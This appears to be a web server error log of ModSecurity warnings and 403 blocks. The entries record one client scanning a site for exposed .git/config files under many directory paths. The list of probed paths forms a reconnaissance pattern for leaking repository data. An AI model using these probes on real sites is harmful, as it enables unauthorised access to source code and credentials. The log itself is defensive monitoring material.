[Thu May 09 04:39:59.681270 2024] [:error] [pid 3087042] [client 91.215.85.43:46316] [client 91.215.85.43] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /vendor/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.git/config&quot;] [unique_id &quot;Zjw3f76BZEswTgH69C-YDwAAAAA&quot;]
[Thu May 09 04:39:59.681581 2024] [:error] [pid 3087042] [client 91.215.85.43:46316] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.git/config&quot;] [unique_id &quot;Zjw3f76BZEswTgH69C-YDwAAAAA&quot;]
[Thu May 09 04:39:59.681650 2024] [:error] [pid 3088694] [client 91.215.85.43:46326] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.git/config&quot;] [unique_id &quot;Zjw3f-YW-t8Qib2gMC8FygAAAAc&quot;]
[Thu May 09 04:39:59.681847 2024] [:error] [pid 3087042] [client 91.215.85.43:46316] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.git/config&quot;] [unique_id &quot;Zjw3f76BZEswTgH69C-YDwAAAAA&quot;]
[Thu May 09 04:39:59.682090 2024] [:error] [pid 3088694] [client 91.215.85.43:46326] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.git/config&quot;] [unique_id &quot;Zjw3f-YW-t8Qib2gMC8FygAAAAc&quot;]
[Thu May 09 04:39:59.695740 2024] [:error] [pid 3089373] [client 91.215.85.43:46340] [client 91.215.85.43] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /wiki/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wiki/.git/config&quot;] [unique_id &quot;Zjw3f-N0fMSfu-PymUG_dwAAAAg&quot;]
[Thu May 09 04:39:59.695973 2024] [:error] [pid 3089373] [client 91.215.85.43:46340] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wiki/.git/config&quot;] [unique_id &quot;Zjw3f-N0fMSfu-PymUG_dwAAAAg&quot;]
[Thu May 09 04:39:59.696148 2024] [:error] [pid 3089373] [client 91.215.85.43:46340] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wiki/.git/config&quot;] [unique_id &quot;Zjw3f-N0fMSfu-PymUG_dwAAAAg&quot;]
[Thu May 09 04:39:59.733209 2024] [:error] [pid 3087046] [client 91.215.85.43:46354] [client 91.215.85.43] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /wp-content/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/.git/config&quot;] [unique_id &quot;Zjw3f9DuEu4lH9Kpw9-5UAAAAAQ&quot;]
[Thu May 09 04:39:59.733684 2024] [:error] [pid 3087046] [client 91.215.85.43:46354] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/.git/config&quot;] [unique_id &quot;Zjw3f9DuEu4lH9Kpw9-5UAAAAAQ&quot;]
[Thu May 09 04:39:59.733841 2024] [:error] [pid 3087044] [client 91.215.85.43:46356] [client 91.215.85.43] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /wp-content/plugins/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/plugins/.git/config&quot;] [unique_id &quot;Zjw3f_sXqwCp__WmJJb__QAAAAI&quot;]
[Thu May 09 04:39:59.734254 2024] [:error] [pid 3087046] [client 91.215.85.43:46354] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/.git/config&quot;] [unique_id &quot;Zjw3f9DuEu4lH9Kpw9-5UAAAAAQ&quot;]
[Thu May 09 04:39:59.734354 2024] [:error] [pid 3087044] [client 91.215.85.43:46356] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/plugins/.git/config&quot;] [unique_id &quot;Zjw3f_sXqwCp__WmJJb__QAAAAI&quot;]
[Thu May 09 04:39:59.734748 2024] [:error] [pid 3087044] [client 91.215.85.43:46356] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/plugins/.git/config&quot;] [unique_id &quot;Zjw3f_sXqwCp__WmJJb__QAAAAI&quot;]
[Thu May 09 04:39:59.765255 2024] [:error] [pid 3087047] [client 91.215.85.43:46370] [client 91.215.85.43] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /wp-includes/js/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-includes/js/.git/config&quot;] [unique_id &quot;Zjw3fziuM1_7lpzHjPaDZQAAAAU&quot;]
[Thu May 09 04:39:59.765808 2024] [:error] [pid 3087047] [client 91.215.85.43:46370] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-includes/js/.git/config&quot;] [unique_id &quot;Zjw3fziuM1_7lpzHjPaDZQAAAAU&quot;]
[Thu May 09 04:39:59.766208 2024] [:error] [pid 3087047] [client 91.215.85.43:46370] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-includes/js/.git/config&quot;] [unique_id &quot;Zjw3fziuM1_7lpzHjPaDZQAAAAU&quot;]
[Thu May 09 04:39:59.770777 2024] [:error] [pid 3087474] [client 91.215.85.43:46432] [client 91.215.85.43] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /api/v3/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v3/.git/config&quot;] [unique_id &quot;Zjw3f1kTMp1zDXQNLxBuPQAAAAY&quot;]
[Thu May 09 04:39:59.771318 2024] [:error] [pid 3087474] [client 91.215.85.43:46432] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v3/.git/config&quot;] [unique_id &quot;Zjw3f1kTMp1zDXQNLxBuPQAAAAY&quot;]
[Thu May 09 04:39:59.771735 2024] [:error] [pid 3087474] [client 91.215.85.43:46432] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v3/.git/config&quot;] [unique_id &quot;Zjw3f1kTMp1zDXQNLxBuPQAAAAY&quot;]
[Thu May 09 04:39:59.771852 2024] [:error] [pid 3087045] [client 91.215.85.43:46366] [client 91.215.85.43] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /wp-content/themes/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/themes/.git/config&quot;] [unique_id &quot;Zjw3fyELaz4DfY2fUB64EwAAAAM&quot;]
[Thu May 09 04:39:59.772384 2024] [:error] [pid 3087045] [client 91.215.85.43:46366] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/themes/.git/config&quot;] [unique_id &quot;Zjw3fyELaz4DfY2fUB64EwAAAAM&quot;]
[Thu May 09 04:39:59.772867 2024] [:error] [pid 3087045] [client 91.215.85.43:46366] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/themes/.git/config&quot;] [unique_id &quot;Zjw3fyELaz4DfY2fUB64EwAAAAM&quot;]
[Thu May 09 04:39:59.776501 2024] [:error] [pid 3088694] [client 91.215.85.43:46400] [client 91.215.85.43] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /amphtml/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/amphtml/.git/config&quot;] [unique_id &quot;Zjw3f-YW-t8Qib2gMC8FywAAAAc&quot;]
[Thu May 09 04:39:59.776820 2024] [:error] [pid 3087042] [client 91.215.85.43:46436] [client 91.215.85.43] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /api/user/v2/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/user/v2/.git/config&quot;] [unique_id &quot;Zjw3f76BZEswTgH69C-YEAAAAAA&quot;]
[Thu May 09 04:39:59.776891 2024] [:error] [pid 3088694] [client 91.215.85.43:46400] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/amphtml/.git/config&quot;] [unique_id &quot;Zjw3f-YW-t8Qib2gMC8FywAAAAc&quot;]
[Thu May 09 04:39:59.777093 2024] [:error] [pid 3087042] [client 91.215.85.43:46436] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/user/v2/.git/config&quot;] [unique_id &quot;Zjw3f76BZEswTgH69C-YEAAAAAA&quot;]
[Thu May 09 04:39:59.777183 2024] [:error] [pid 3088694] [client 91.215.85.43:46400] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/amphtml/.git/config&quot;] [unique_id &quot;Zjw3f-YW-t8Qib2gMC8FywAAAAc&quot;]
[Thu May 09 04:39:59.777294 2024] [:error] [pid 3087042] [client 91.215.85.43:46436] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/user/v2/.git/config&quot;] [unique_id &quot;Zjw3f76BZEswTgH69C-YEAAAAAA&quot;]
[Thu May 09 04:39:59.777573 2024] [:error] [pid 3087043] [client 91.215.85.43:46384] [client 91.215.85.43] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /api/admin/v1/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/admin/v1/.git/config&quot;] [unique_id &quot;Zjw3f0mmq5R-q7rmmbcSiQAAAAE&quot;]
[Thu May 09 04:39:59.777945 2024] [:error] [pid 3087043] [client 91.215.85.43:46384] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/admin/v1/.git/config&quot;] [unique_id &quot;Zjw3f0mmq5R-q7rmmbcSiQAAAAE&quot;]
[Thu May 09 04:39:59.778240 2024] [:error] [pid 3087043] [client 91.215.85.43:46384] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/admin/v1/.git/config&quot;] [unique_id &quot;Zjw3f0mmq5R-q7rmmbcSiQAAAAE&quot;]
[Thu May 09 04:39:59.795461 2024] [:error] [pid 3089373] [client 91.215.85.43:46424] [client 91.215.85.43] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /backup/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/.git/config&quot;] [unique_id &quot;Zjw3f-N0fMSfu-PymUG_eAAAAAg&quot;]
